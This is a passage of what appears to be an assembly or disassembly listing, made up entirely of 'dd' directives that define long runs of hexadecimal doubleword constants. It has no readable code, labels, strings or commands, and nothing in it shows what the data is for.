0D6749ACAh, 40909CC5h, 4D1EC1CBh dd 7C07C943h, 5FC1ABECh, 9BE2BC3Fh, 0D8983E30h, 1C68C014h dd 0BE4B73C1h, 0B0F00093h, 0BBD61D5Eh, 98D80AC1h, 0AEC4560h dd 0DE043A8Ch, 68C1BC18h, 50AC070h, 44BFFD9Bh, 9C1870D9h dd 0CF003F51h, 0F5D44A9Dh, 48DA1483h, 2C46BAB6h, 92B9D50Ah dd 80B800C4h, 0EB93E510h, 0BD311514h, 80EFCF38h, 0B493966Fh dd 0C9D51D5Fh, 1448159Eh, 3AC040D1h, 6E5D9448h, 9CC41D07h dd 0EB424B61h, 55F8A05Eh, 2885B7D9h, 8550E516h, 98C05504h dd 306AD6h, 3571BAABh, 0FF3BE39Dh, 4AEBB80Eh, 68C380D3h dd 1381F8D7h, 5DBA406Eh, 6FC00D00h, 0DA27CC28h, 98909378h dd 569CB401h, 67EBFB8Eh, 98C5C6F0h, 2850CF40h, 5152EF00h dd 2099B948h, 93716CA8h, 20F743F8h, 26F1D9ECh, 0F9990F74h dd 8909A5Dh, 0FE570460h, 302A1124h, 0BBD55500h, 59DC774Fh dd 101290CBh, 9640319Bh, 0C5820B8h, 54C1CC07h, 1540CACEh dd 989BA005h, 78F490D0h, 9EC3181Fh, 58BF4052h, 4F0FC098h dd 0A1CF4456h, 0C2BCD41Bh, 41E23DD1h, 9EC4E28Ch, 0C6D70567h dd 81D9549Dh, 60D05C70h, 0DA122648h, 0A001BE0Fh, 0D957C6C2h dd 1253ABE3h, 1B549460h, 0F0E758ACh, 0BC0C689Ah, 0F409760h dd 0E8CF5EB5h, 10C8C79Dh, 0BE438193h, 0BC308194h, 0BDCF504Fh dd 0C0C7A18Fh, 9C580096h, 9ACEDA66h, 0D0181558h, 4AA9FA04h dd 0DC3C74F8h, 0D61B17CAh, 4C5DD430h, 4FCB16D4h, 0FD603066h dd 4B0F7F4Eh, 8E1B92C1h, 0B874B2BAh, 24B5189Ch, 13F067C7h dd 0BE1C03C6h, 0BDA0579Ch, 0D60F68BFh, 9844900Fh, 58D05E30h dd 3C787CC7h, 3D02C1C0h, 96609EBAh, 0CAD7C047h, 96BEF5F8h dd 0C44090CBh, 0C73D55B2h, 0E468599Dh, 0D84A1BC4h, 98B0600Ch dd 40584BF8h, 78683ADCh, 49789074h, 204AC234h, 61BAC4D2h dd 98B4C08h, 0C40ABCDAh, 0DC6352E4h, 0C0C84AC2h, 0C62EF739h dd 970420C3h, 10C3589Ch, 0C2691E92h, 9BC90E5Eh, 2090D98Bh dd 2CA5C0BDh, 603E3CA4h, 0CED04A80h, 6B3498C1h, 200058B7h dd 0BFD75E8Fh, 0B0C1C27Ch, 99F7385Dh, 5020184Dh, 38A54D56h dd 41EF9AFh, 486E80AFh, 0B67EEAFEh, 0C4FD4084h, 0F0434043h dd 2F7CC493h, 0C8342C18h, 0C5AAD080h, 0A7BBD668h, 3F717868h dd 58979905h, 0D881CBD0h, 64749FD6h, 689B1FC6h, 0B6182A3Dh dd 1AB65F8h, 3C7B4F50h, 0DA87D0A7h, 209CB92Eh, 5497B502h dd 6738E0D8h, 1449ED4h, 5EC6BC49h, 8B3C3CD6h, 3CD44492h dd 5702A4ECh, 54C5BE1Fh, 719D80E1h, 6DC3E0A0h, 0C6BA4B02h dd 0E0C44A5Ch, 74A02C90h, 82207CE6h, 53C350C0h, 40214363h dd 4B51C0B8h, 4F54F8C9h, 9C5052D5h, 0BC30EFC8h, 7AE0684Bh dd 50E0B837h, 0A5C1805Ch, 2CB0D934h, 0BAC32FECh, 0C1341750h dd 7DB8D55Fh, 5CB7C390h, 0F001A5D6h, 74DFAF0Ch, 1C1ABD0h dd 4FB9D551h, 9DC7444Dh, 5743CB21h, 0A090CEDAh, 3D9DBD43h dd 90E5D91Bh, 13E0B249h, 8084756Fh, 102F3835h, 5CC398C0h dd 0E061BBDAh, 5AC6B5E8h, 6BBD2887h, 51B14223h, 0DC001C42h dd 5FC6C7CEh, 439120C0h, 749EB9D0h, 4E9CF65Ah, 71B81755h dd 422B3BE0h, 80887AC4h, 1A89428Ch, 5C00F873h, 1B93BE43h dd 9CBA3135h, 40C0B988h, 814FB8DCh, 0D80ED0A2h, 8002FC9Ch dd 5290BCD8h, 6A4E0460h, 4A9E80A0h, 78043F1Ch, 2AB049D4h dd 1B02F057h, 5E95BE44h, 8FDCF92Ch, 9A034A15h, 18443F1Bh dd 49F7C6C8h, 46DC4C58h, 6058EB4Bh, 2DD35130h, 0D4114E03h dd 5FBFCC4Ch, 9E534490h, 64644AF4h, 9057F0F4h, 3C309C20h dd 436C01FCh, 4B58C3BAh, 0A07FE1C4h, 0D625F0C0h, 0FD1817CAh dd 95BD3960h, 0CECD2657h, 0C0481DDCh, 0F03F55C6h, 630007F8h dd 0FB1E767Ah, 1C826E5h, 3DA1D7F6h, 0D86E6F3Eh, 2F05610Ch dd 1795EC59h, 471A2C00h, 3B4ED29h, 0BB720BCFh, 2DA20C1Fh dd 7C01ACF8h, 35A7292Eh, 5880453Fh, 3DA003C6h, 22FC7269h dd 576F70C0h, 0A68E3h, 75D9ECF1h, 0DFD6D03Ah, 7766A61h dd 508FE911h, 1F5D5EB3h, 2A628030h, 75DC163Eh, 97B8C500h dd 1326BAE7h, 0DF3101A3h, 3C36C3EFh, 8204F99h, 6CDB81C5h dd 48C9AE0h, 0B4EA2948h, 3763D7h, 292F8721h, 146AE905h dd 80330D3Eh, 0FCF4FED5h, 66F8C86h, 0ECFA614Ch, 0D32AD8F1h dd 5600C8FBh, 5CB247EDh, 0F47379h, 839D283Ch, 48706ED3h dd 3EFA4B67h, 0E441E535h, 96DD0A66h, 0ABB94882h, 0C85E9F46h dd 194EAF00h, 891D34h, 8A6EF824h, 9482E816h, 267ED202h dd 80EA9398h, 0A6933E8h, 3A91C0ADh, 90F0E6CFh, 20DBC730h dd 33A0BBECh, 8380396Bh, 773AE907h, 0F0D00E52h, 2BEA4CE5h dd 101C9830h, 0B17830AEh, 0B0FAEFh, 3DA3814Ah, 63E81865h dd 86285AE2h, 4201FC2Fh, 6FC0ABB2h, 6980C46Dh, 0FAEB0FECh dd 0CB066744h, 0B36EE927h, 21D56008h, 0EFFAE4A4h, 0BA76BE01h dd 481761C2h, 0E0B7A980h, 0E16BFC92h, 479E7203h, 0CD6E5FAh dd 3DF8E368h, 8612B329h, 40A7052h, 23F48868h, 9C509210h dd 0DA088580h, 97860325h, 4061E2B3h, 0C6C0F86Eh, 0F5100CF3h dd 0DF497366h, 8D4B5B06h, 482AFBF8h, 5F117C38h, 34C212A8h dd 366AB002h, 0F95600FAh, 84A1E09Fh, 22484876h, 1C468446h dd 7C86FB20h, 9903E647h, 70482D3Bh, 654F5903h, 0AF2693A9h dd 87FE260Fh, 58A54908h, 0A976B400h, 0BD12845Fh, 0E091E760h dd 239C3h, 4AF5A51Ch, 1AA4C15Bh, 0B4D63F02h, 8F583A5Eh dd 6C6F64D8h, 0FAC81899h, 0C3672345h, 0A500D111h, 28F3FAE5h dd 6738D366h, 0CD5DA822h, 62713B78h, 0F048C234h, 7260A801h dd 84740FEh, 35266AF1h, 7BF00404h, 0A6BA44D0h, 2A0D38CAh dd 0EE389935h, 3490A872h, 14064F47h, 38A28B10h, 41126F14h dd 0BF0050F8h, 0EE78E442h dd 23D24116h, 0DCB4F798h, 0DCEC107Eh, 92FC3CB8h, 0C120746Fh dd 2F60C2F8h, 927AF430h, 699E0C64h, 0E0B813CEh, 1E615D00h dd 0F745AB97h, 600C0C16h, 2C80A702h, 0E9608DEAh, 925EBFD0h dd 0E658C088h, 0DA0A1822h, 0C4BB78C0h, 54C2EAF8h, 0E454B0D8h dd 6663F2Eh, 85947600h, 0E3916CA1h, 286B4004h, 20809E7Ah dd 8B31A7FEh, 0FAD560E4h, 0BB672332h, 0AE00D411h, 0D2FDFAEEh dd 0C9987EB0h, 0F560477Eh, 65122741h, 4AA6012Ch, 0BBE9897Ch dd 0A46DC851h, 0DAC8350Bh, 2D780707h, 0E0707560h, 8495005Fh dd 984C4417h, 94A0E91Bh, 0E418F042h, 0C59E8D3h, 6E30008Dh dd 4653B363h, 8CCAB6Bh, 1D21F2h, 0D9053095h, 0D25F5DECh dd 0BC382D79h, 0C09E945Ah, 266C3A0h, 46219401h, 82C424AEh dd 51137800h, 42FFA6E6h, 0CEA9007Fh, 8BD7F7EDh, 71051E7Bh dd 2C967261h, 64D6E000h, 6A026A63h, 11FC1020h, 0A96F822Fh dd 0B1466291h, 0B210ABFCh, 2900A978h, 0F5DD5C8Bh, 1FE7E8E9h dd 92C0A646h, 0B01828FAh, 0B3B1BB0Fh, 5FD50097h, 2086B50Bh dd 6E00A0EEh, 3FE6B91Eh, 240ECEE7h, 4044707Fh, 0EA6A76EBh dd 36480262h, 1CC980CEh, 482E69DDh, 121508CBh, 0F2099054h dd 3C029574h, 40A59DC3h, 9F08C2BBh, 8292D30h, 0C1FB4E7h dd 0E52262h, 47293C7Ah, 0A5F30502h, 0C326B4E6h, 0F699031Bh dd 46C849B6h, 4715B3D1h, 63C018A0h, 462695A9h, 0A4227Fh dd 81A96CBEh, 7180F7Bh, 909CF119h, 804CC5B8h, 1DF0A447h dd 407919B9h, 3CDBEBFDh, 770129C5h, 316759AAh, 843020E4h dd 0D18E0116h, 70F26344h, 41508291h, 489F0677h, 9895FCCh dd 4DE8847Bh, 1B3E0002h, 0DE500209h, 2CDC94CDh, 91053B5h dd 2002896Dh, 8A0E2046h, 82809431h, 0F02B2AF6h, 4B5F00D0h dd 307323F8h, 7F09952Fh, 0B0855B25h, 28615C08h, 639EFA20h dd 2D5370F1h, 2E3C9804h, 0A6046DAAh, 0B2DF001Ah, 0C9ADEE6Eh dd 0C43091C0h, 0F912091Dh, 88000C4Ch, 7C79CA52h, 0C04148B8h dd 0A08CF1BCh, 2C0352BEh, 2BBA780h, 0A4FB273Ch, 0C04EEC69h dd 0E2C7A65h, 8F06203Bh, 41F8D3h, 166D4319h, 7BC55A78h dd 0DE822C00h, 0EA119601h, 3C9B06FCh, 315F3F05h, 7C90EC00h dd 26CDB585h, 0DE9628C0h, 74774884h, 0C398A6C1h, 30E8BA0Eh dd 41AF39E1h, 8A1E0088h, 0CC471C89h, 0BF00A405h, 6AEB4C78h dd 2451034h, 0C825076Ch, 4864E5CAh, 9102E046h, 93636230h dd 2910F031h, 32003099h, 0FD6174F5h, 9057BE5Eh, 74A44848h dd 69013923h, 6F2697A9h, 0B088AA18h, 0EAA9026Ah, 85DE9D13h dd 25F32C0h, 189C3458h, 6E585C37h, 6DCE0E46h, 59205240h dd 9ABA5F7Bh, 21427A12h, 0EC90385Fh, 0FA11C203h, 22C891AEh dd 0D30ABA8Fh, 0D04DCB12h, 0A1A001C9h, 2019313Ah, 0F424C328h dd 904BAC60h, 190FE38h, 0E8C81036h, 239965Ah, 0C03860E9h dd 3477586Fh, 8F4FAB0Fh, 0EA1025A0h, 3C1FD751h, 873598Ch dd 952101C5h, 0C3BE101Eh, 0DAD94382h, 0F384A6E0h, 5C4C5A00h dd 796B856Eh, 0E25E00CDh, 0A136D290h, 8E075506h, 0D1D09E1Fh dd 0D81CEF10h, 0D50158C9h, 51824600h, 0C4AB8D66h, 211B117h dd 8145CD0Fh, 8F4A539Fh, 8DBB6880h, 0CE5BF038h, 73314200h dd 0D95E7836h, 60DCEEB1h, 0E972850h, 7200884Fh, 6E3DBF29h dd 9B7A69h, 2C70932Bh, 77A137CEh, 27AFD300h, 4727C3Fh dd 0AD880012h, 52DDBD36h, 78064BE1h, 0C47D01D5h, 0B07388h dd 9B172322h, 620BC853h, 0F300DD7Fh, 0DAE552DCh, 0C08BE92Ah dd 81AF4FA8h, 603796Ch, 0E5B8F8Eh, 0AA083096h, 6C89CE21h dd 0FA98181Ch, 0EAB024C0h, 28FC6D86h, 0B4B631h, 0C82F84DAh dd 1A472E1Fh, 0F3080D1Ch, 1332C605h, 0B88F9030h, 0B146009Ah dd 4FA6DE81h, 0D21850D5h, 8B49AC32h, 7C4C0084h, 0D6A37462h dd 8CA9D3Ah, 0EE8298DFh, 82C84C8Dh, 0D3BE80h, 356A4D04h dd 0DE36D8A0h, 18DBE933h, 41AEE398h, 0BFD4E459h, 5EE31454h dd 7A80C030h, 0A0315586h, 9C95E900h, 88C1796Dh, 0FFCE1CCDh dd 0E3B18002h, 37FA2E51h, 19C8F8A0h, 4E42124h, 6208101Fh dd 0AC9614A7h, 78048C7Dh, 0A6067A6Ch, 8000C138h, 87C6EB6Ch dd 50471807h, 0D16B609h, 97A2464Bh, 0F1C9E458h, 0B2A0AE50h dd 196A8700h, 6499D15Eh, 1484AC01h, 78AF4898h, 0B5DB990Ah dd 5C50C888h, 1A009146h, 0C77E6118h, 8092F119h, 1B292CA0h dd 88E8A924h, 8C362E84h, 6185200Fh, 9C9028E0h, 865DA60Ah dd 0D300D43Ah, 39A4E669h, 0D51A1054h, 2A6102ABh, 9388F925h dd 20B8236Ch, 836C7701h, 0AC4E9E06h, 6C7FC000h, 0D54C4587h dd 0B038C03h, 0C050DB83h, 8034862Eh, 7F2A8F6Dh, 0AB009853h dd 2813E92Fh, 19F68ACAh, 8C2D0AEh, 921C3438h, 0DD0013F2h dd 0DC42E2D8h, 6954987Dh, 0A40041ADh, 46820A08h, 280D31C3h dd 6C3FC059h, 8A540016h, 0A3FD8BFAh, 9A1468E5h, 109C7E53h dd 4A0A3EE6h, 8284D60Eh, 0BA2948B0h, 0F9BA0B0h, 673DB4E0h dd 0C87EE0E3h, 0AD712B5h, 0A23E178Dh, 9AE88AC0h, 837D8084h dd 7B726BC7h, 0F7E28700h, 1AAE6F7Eh, 18262855h, 0C4398C4h dd 764EB59Bh, 0C51462C0h, 3BCCA72h, 0A3D1BADEh, 0C9B8E8CDh dd 0EE59C98Eh, 0A1DDD001h, 202831EDh, 38403A98h, 40DF0634h dd 10290A54h, 50C7EC00h, 718F10B1h, 0EA1B181Ah, 5B664983h dd 0A853E200h, 0D1C349A7h, 799F00FFh, 504A6508h, 78C8D09Dh dd 57E18282h, 60908B07h, 0E9036E32h, 5EDACA6Bh, 678589ABh dd 1031A6h, 51D51024h, 44863D1Fh, 1D0094BCh, 68B53110h dd 4C413DA6h, 7911F458h, 0A95E1CE4h, 0CF7D60h, 814CAD39h dd 4DDBB8DAh, 5048D96Ah, 7B851C11h, 7EF7C26Ch, 9044504Ch dd 6C8300CCh, 9AF0E34Ah, 663DFDD1h, 4D9901C3h, 0C58D102Eh dd 71B00820h, 8F6F121Bh, 0EB546085h, 0CA232613h, 42117Ah dd 0C913D29Ch, 98D9606Ah, 0A167047Ch, 0C18E6E72h, 59BE62Ch dd 3AB08000h, 984DA7F2h, 76A490C4h, 40BCA2AAh, 0A0E7C581h dd 0A390EF0h, 0C1C494A0h, 0C6E509FCh, 0B14C38A2h, 0AADE220h dd 1FD892E6h, 0BFE37E17h, 15A4DFA8h, 0CC81ABACh, 0E9102880h dd 3C43FF51h, 902EC022h, 0C5004B21h, 110E730Dh, 0AD30256h dd 3BAD5E17h, 79C9C468h, 504BD240h, 0A849D06Bh, 0ECFEDADCh dd 0A65D3F0Ch, 6BABD060h, 1C038A96h, 0AA614EC8h, 0D0B8675Bh dd 1A054801h, 5684B83Dh, 0D3FF8000h, 67A62C82h, 608FF16Ah dd 62DC80E0h, 890820A7h, 0D634C1AEh, 68C5071h, 546A6A3Dh dd 1608B490h, 1A0401BEh, 4108A2B8h, 72A0D2D0h, 7E8F802Ch dd 24264E68h, 1138BF73h, 6C82801Bh, 99960678h, 8ACFC0E4h dd 7704CE6Ch, 0F5C7D1E3h, 889B18DCh, 1002237Eh, 0F8F43524h dd 0F1B98712h, 2ABB48F0h, 0AD8F0BD7h, 3498D602h, 85265E4Bh dd 0B0876086h, 0E1058807h, 0DF7C1881h, 405D6820h, 1914CE80h dd 9D0E269h, 0A3CBAB0Fh, 798E828h, 516DDC81h, 0FF08405Ch dd 0D2025F53h, 601995F9h, 8A844123h, 0F0C82119h, 8493C2CAh dd 8F003D11h, 0A39A13DFh, 8D07AA7Ah, 40C7F2FCh, 0AF6519B0h dd 58924D52h, 18849073h, 0C029A512h, 56264D06h, 2116303Fh dd 16E3F848h, 1CA81D7Ch, 2BCEECFh, 95D95A59h, 32F58482h dd 9576D603h, 0C9028804h, 24816894h, 12039C31h, 3B042E1h dd 222124D9h, 0D1820834h, 0D52EC785h, 98819043h, 0C29784Fh dd 5FF9D125h, 88D01730h dd 406D3A18h, 64F412CEh, 0A18804D3h, 580E52E1h, 6B9390EBh dd 0FBC300A8h, 2A18A8DEh, 724D181Dh, 9A2DF8AAh, 0CD1254B9h dd 2E0FF841h, 18A1AA7Eh, 74B826D8h, 3D004446h, 58CC0C6Fh dd 3C008DF0h, 5F97DED9h, 1E1B7275h, 6550D4FBh, 4C782018h dd 94628011h, 0FA80E088h, 82E54C81h, 9083EE68h, 0C6F120E0h dd 6C20D500h, 0B56985Ch, 8230C65Eh, 602CB147h, 0E905C6D4h dd 0C004432Eh, 10B0852Bh, 0EC945008h, 8CB0486Dh, 32867448h dd 922499B3h, 9102BB9Bh, 60D38D37h, 80CD2E00h, 46125AD6h dd 94028CEBh, 9055984Fh, 32A6349Ch, 4128C24Eh, 0F00CACC6h dd 69CC1A53h, 14AE4431h, 0BAB25901h, 7B01686Fh, 2C05EFFCh dd 0ACD0BE5Dh, 2C0EC0ACh, 16126F8Bh, 149A35EDh, 0DDC09288h dd 1D34B0E0h, 50A07DBh, 80F84DCEh, 0BAD6E720h, 6D59A0C0h dd 5A92079h, 0D929D5FDh, 329809B8h, 3B2DC848h, 265B3F00h dd 0A65FFFE4h, 0C2FC000Ch, 0CD4D03F1h, 0FB070EF3h, 0E179744Bh dd 67F8340h, 3ADA375Dh, 701D09E1h, 2F00C639h, 17307634h dd 92035AA3h, 0D6453F29h, 0BA580B41h, 882B05D4h, 4A09400Fh dd 9C8FE489h, 7A4060F2h, 62237E4Ch, 0E11164h, 0B04C8BF0h dd 1986EDDh, 480845Fh, 2D46EA45h, 0D42E1C60h, 11D49DE5h dd 52FE8095h, 9B3BFCFh, 3F53CB17h, 7F68A820h, 73007BA8h dd 0E45840B6h, 185C904h, 36ADDC59h, 4221BB10h, 50DDDCh dd 0EA32D618h, 0E3025B9h, 6E8EE99Fh, 0D0BB0300h, 0EA0BAE12h dd 875BAC7Ch, 21A91AFAh, 0B6364B48h, 12B11970h, 0D031DF7Dh dd 0FC6470E0h, 0AC909A00h, 0EB2CA812h, 8B0301EFh, 0F473894Eh dd 4099E1B8h, 0DF217B84h, 0CE78658Ah, 52E680F1h, 98F01657h dd 564610D0h, 0AC7F0F8Fh, 2431E95Dh, 8CE4CD18h, 62890ADFh dd 80F432A5h, 1D2C7CE8h, 14B0849Bh, 66D9D405h, 0A0C83B69h dd 512B32B2h, 0AC6AD5D8h, 89E70886h, 0C800F58h, 78C6F660h dd 96451708h, 0DD00455Bh, 0ECF4140Bh, 788068A3h, 84941C4Ah dd 0F8E44669h, 2068D80Ah, 9249572Ch, 25BE017Ch, 0D6A5CCBAh dd 0A4A2885h, 0C7C802C0h, 646B7C2Ch, 87FFC8D8h, 810CAD31h dd 44CD5506h, 80498201h, 0C24DC329h, 19A36575h, 0C08B321Fh dd 0CB24341Ah, 5044C702h, 8791B166h, 1F647088h, 0F88E0095h dd 23C1BD88h, 0B0E8173Ah, 9EAC030Ah, 5D827350h, 0B335910Fh dd 82CC09F4h, 0A82D3E05h, 0C0A064E0h, 80141E49h, 6856C7Dh dd 13FD8CAEh, 0E16CF1C2h, 444EFF40h, 315907BEh, 3E45A616h dd 64009156h, 11A6707Ah, 2E410C96h, 2439976Ah, 5E36C708h dd 310E7181h, 90B00A4Eh, 30024CD2h, 0C2105960h, 99BCEDD4h dd 0D2B804B4h, 0D167459Eh, 0A33C8840h, 165245C1h, 0C7496C2h dd 34308369h, 0D061D615h, 0F5A20320h, 95135C7h, 4F01D481h dd 18225463h, 0F7C0B053h, 0E2B863D2h, 71AC9031h, 0BC5B00B5h dd 7857987Fh, 0ED3011E3h, 0DF4829AEh, 8822040Bh, 0D5E50253h dd 52A804E4h, 4C701983h, 17814DE0h, 401235E9h, 525EDA74h dd 9A53D236h, 28484494h, 90991B25h, 44074A10h, 0B94D31C3h dd 441706A8h, 0D869EEh, 0C301FE36h, 0ED321D28h, 70DAE426h dd 6230606Fh, 29BF75Ch, 6B0465F8h, 0E442FA2Ch, 4A015389h dd 517E830Eh, 5080D59Ch, 3E6506BCh, 0CAF83750h, 0D235DC3Fh dd 0D9B840B0h, 0BCA1D8A6h, 2F836DCh, 62824C7Eh, 6058D184h dd 0BE4C7FECh, 0FF48E090h, 0C01DC854h, 67E6C7Ch, 0E0EC864Ch dd 3B6C84CDh, 12FE9E40h, 0C3C7E138h, 9AA0BA18h, 7C14634Eh dd 24A4DF71h, 3C2DBC8Ch, 12C64690h, 0ED51F1FEh, 10053DCh dd 97E38353h, 0A468C355h, 0D89441C0h, 38256519h, 0DEA40FE5h dd 0BBA85503h, 9445C093h, 0C0EE24EAh, 3EB64204h, 0E804380Ah dd 8816F40h, 4C335033h, 8C80826h, 0B209EA09h, 94B2B5h dd 937C329Ch, 0D5CF092Fh, 74219B01h, 7021C061h, 0EA251B41h dd 4068AE97h, 10CF9462h, 0C2330051h, 8269C866h, 6E2478B4h dd 56090A83h, 1964119Eh, 0E850502Ch, 11C88853h, 88AF4928h dd 12908A58h, 865CF41h, 1F8040DAh, 31A86D29h, 0F419DD60h dd 0A79026h, 533F7DEAh, 0EB05FB3h, 99C4B39h, 27585B9Fh dd 0D9400F48h, 5081CD62h, 4A9894F1h, 98185059h, 262C9C77h dd 0C7D1C310h, 3D5E1EA8h, 710060B2h, 0E9FC2BC8h, 8AABBB6Fh dd 95C4A045h, 24564160h, 0BB913D01h, 5D934D6h, 0F39F2DFh dd 7041100h, 1E30A62Ch, 0A58F98BBh, 0C9CF13E2h, 0DA0040FDh dd 83D839FFh, 4B730C3h, 0B4D048B0h, 48EDE10h, 19C729D4h dd 9C1734C0h, 53D70677h, 20900646h, 0BF734F05h, 203C801Bh dd 2D154618h, 111817ACh, 0F0180BFh, 94E4CF96h, 95465C94h dd 0F1C20B07h, 9AB3A3FDh, 0E8F4F058h, 1E008C94h, 58B027A1h dd 5A51921h, 0C51F0E72h, 1628C117h, 241C715Ch, 0DCE8DAD8h dd 0C0C38D28h, 5062E700h, 3E1E58FCh, 90AC55F6h, 1783EC2Ch dd 0F5C2C99Bh, 64C0046Ah, 0C5408304h, 6755121Ah, 1B2C045Bh dd 0CF54E069h, 5D45073Bh, 0FB40070h, 0DD70CC72h, 78C16C35h dd 0E70E4F29h, 0B55DA406h, 0E0B5E040h, 0F1358846h, 8C66C641h dd 6D2C1848h, 1A848088h, 20447FFh, 6720B898h, 0F8DF51CFh dd 41F71820h, 192CCCB0h, 0B5A58703h, 4BDD0212h, 17C842E9h dd 0F8F0F95Eh, 0B9093C30h, 0EAE220Ch, 2E0F8566h, 602494C8h dd 0ACB67140h, 4E74B0B4h, 0D6743084h, 0CA2D2513h, 7D816D2h dd 0FF13DD95h, 2A3B40E6h, 0A9056CD2h, 818CF6A8h, 203D4082h dd 56595D0Fh, 9841BCA2h, 74442A03h, 0ACC3B669h, 0C9F41A62h dd 0FC58E942h, 8BD8544h, 95D08209h, 2D68609h, 218326A0h dd 74415598h, 0A339D124h, 0B6A45074h, 3A04D440h, 0BC50925Dh dd 0D8CA501Bh, 0BAAC80B1h, 19127CB8h, 849203A7h, 48C6CDDh dd 627B4C7Dh, 20DE628Ch, 4D4C86EDh, 486E5E3Ch, 8EC2E8CCh dd 5218BA02h, 6438C7D8h, 0CA4808E0h, 0EC2094F5h, 0CE81897Eh dd 0F71061EEh, 6F0FBC38h, 2109553Ch, 0CC045C8Bh, 0B01D5280h dd 16EF222h, 0D45B008h, 413E17E5h, 817FE820h, 11104631h dd 0E5E59E02h, 4EFA8CCh, 45087844h, 54A83Eh, 8B7E073Ah dd 141B3624h, 0ECE27C55h, 95D4BC09h, 5E4B4868h, 0CCA8192Ch dd 48BC84Eh, 0A08D5DF3h, 114C840h, 40F8809Dh, 48C869Ch dd 51D41023h, 20C56227h, 53101C93h, 22B5A0Bh, 98D08BB2h dd 58D70C64h, 0D678ECEDh, 0F43800A1h, 6AA5628Ah, 0C8289496h dd 20EC0634h, 0C6DFFC08h, 622B9A77h, 0E711FC9Ch, 0C1BAEB31h dd 0B66FC30h, 21F0FC00h, 946C4874h, 0E3F90BCBh, 0CC293911h dd 0C028789h, 0C702E4CDh, 957C512Bh, 845884A8h, 8CBBE8h dd 0C51BCA52h, 7CF58889h, 5A5DA617h, 62D0BC00h, 90D5E2ADh dd 8ADF00C4h, 804FC81Dh, 0B152E425h, 0C0E84CC0h, 8C58CF3Ch dd 0BE7EEB9h, 991F9AACh, 0CAA0498Eh, 661565F1h, 0D81CF60h dd 29CE6DB3h, 78EA35h, 60234B0h, 0EB506A55h, 9A0C48B0h dd 0F09503EEh, 4651888Dh, 996BE27h, 11289D70h, 8D3A8391h dd 52E82A31h, 0CB6630ECh, 0AE1081A1h, 427D921Eh, 0CCF51481h dd 3C26B1E3h, 22017F23h, 0EF51D710h, 9AB0F078h, 3F12101Bh dd 34028DF4h, 40916F04h, 4A495A90h, 0DD280B9Dh, 0D92AD086h dd 62847850h, 2122B88h, 912E4C41h, 0CC56C6F0h, 70C2E512h dd 20DCD88Ah, 771ED209h, 1FC8AD88h, 894B09DFh, 0A2362C38h dd 88A88E48h, 6651864Dh dd 0C9F8817Dh, 486128A2h, 0CE798578h, 0B4F08958h, 826E1C0h dd 0B6462F7Bh, 4EDAB405h, 0CB475938h, 0CEAE0050h, 40B2D9C9h dd 1A264890h, 19855088h, 3808E42Dh, 0D890AD54h, 9D00EB3Eh dd 2EBD07B5h, 70CA9E51h, 0AD6800ECh, 0BB81223Dh, 4028052h dd 0A2C56209h, 26D845EAh, 57E1C0A0h, 0D955337h, 4CDD21E8h dd 1C61B024h, 4544E7E5h, 0C07C48E8h, 6462EFE7h, 9B4FDD01h dd 3527D2DFh, 0E90CD87Ch, 3BB8D591h, 5D7F140h, 0C55EE3DEh dd 9488509Dh, 473AC7C2h, 184A88C8h, 448CE4Eh, 0BE8980B0h dd 0E49B4CB2h, 10E4114Ch, 0D00185F1h, 3C565F6Ch, 0EFF8748Ah dd 0C87170C0h, 596861F5h, 0E13BEC83h, 0F23148Eh, 58D7CC60h dd 0DE0935EFh, 67DF2291h, 80D14FCCh, 0FC123E37h, 0A7D4015Ah dd 77DE70C5h, 5518201Bh, 20459122h, 10B0F73Ah, 0D5028346h dd 0EACA2413h, 966084F1h, 613DCh, 0D2991150h, 756C9476h dd 0FCDEE224h, 1295160Bh, 82505E10h, 91F635F3h, 0CE4EDC00h dd 71576E2Eh, 0E7595EC5h, 80B92238h, 0B1D58FCh, 0AB6741A3h dd 48C7D020h, 5D250BE4h, 0D42C08C6h, 0A0E00208h, 88A25DBCh dd 5140D62Eh, 0B03A14C0h, 9F009223h, 0E635EB95h, 931494A4h dd 667C3164h, 8C0805ABh, 2DF028C5h, 8A3E973h, 0A971D466h dd 4894B216h, 1F2930C1h, 8A59EF00h, 8E47BF07h, 58AD71CFh dd 68C88CA5h, 0E4A48D49h, 0E5D74E45h, 847C2CC9h, 977FC444h dd 0D5010837h, 70F4B6B5h, 50CAC020h, 0FE94B44Ch, 12DC9469h dd 178016EEh, 0B05851F0h, 982D3922h, 0B6D8AE53h, 40A2E492h dd 1DD7538h, 0DD60BAFh, 0D412B9EFh, 724ADB01h, 0E2464481h dd 0A0E83474h, 0D583DE4Ch, 3D32E402h, 8CE4E8F9h, 69641C00h dd 1BD90BEBh, 3CA097EAh, 6261374Ch, 51014EE8h, 687B99C2h dd 0F03D6728h, 0B5D8B600h, 20D0FE45h, 0A7229600h, 0E3E98A29h dd 64AA753Fh, 44A3A00Ah, 0B4A231C7h, 1B0C0407h, 482C9AEh dd 4A00AC61h, 7CB81CB0h, 0B689C0CEh, 0DF4149FEh, 406F5304h dd 0C0AD5D05h, 0B4C1E4Bh, 0F00936C2h, 3C45067h, 7803217Fh dd 7024CBBAh, 7A0848EEh, 983C3CADh, 0B8F8444Eh, 8BCCBCDCh dd 96409032h, 0ECED1FA9h, 22B74086h, 6003C1D5h, 76F443E4h dd 49FAE04h, 48A0FA4Dh, 4EC80225h, 3F224650h, 590FA8A6h dd 2C188F4Ch, 6A8440C6h, 3181B57Dh, 218E7203h, 9CB32B0h dd 2F00F4C4h, 3073162Dh, 134FF8h, 8CB00A9Fh, 1486AC0Ch dd 3ABDB108h, 22910805h, 87186125h, 1A049879h, 0E1D9FC55h dd 0A9FC2034h, 4C058C5Ah, 9CE3546Fh, 0D868EF01h, 1EC30CC2h dd 19F9340Ah, 0C25B652Ch, 792CC624h, 0CAD845DEh, 0FF32B84Ch dd 24C42048h, 2808A854h, 5CAC188Fh, 30308A5Fh, 0A1DB160Ch dd 8114D09Ch, 81B91Ch, 69FDB248h, 406668BAh, 0F42AAC76h dd 8301AC87h, 0B8D5F6CFh, 606DECD6h, 41E64517h, 1953CB9Ch dd 123045D4h, 0DEA820AAh, 0F2000818h, 0BD0D1960h, 6874EAh dd 0F3D33929h, 0C657B467h, 16EEA927h, 68CF2470h, 5DDE0597h dd 88988F26h, 1652C090h, 0EA31023Bh, 57B119C3h, 0D5F7096Eh dd 2F108072h, 6D278822h, 41C48045h, 1A9A2F60h, 0E5202890h dd 43CE13EFh, 3A902030h, 0B8147A1Ch, 10E094E1h, 0E458EBA9h dd 79CF5D03h, 839201C9h, 9950090Bh, 9C38F3A0h, 1150DDA1h dd 2084F4C7h, 46C580B9h, 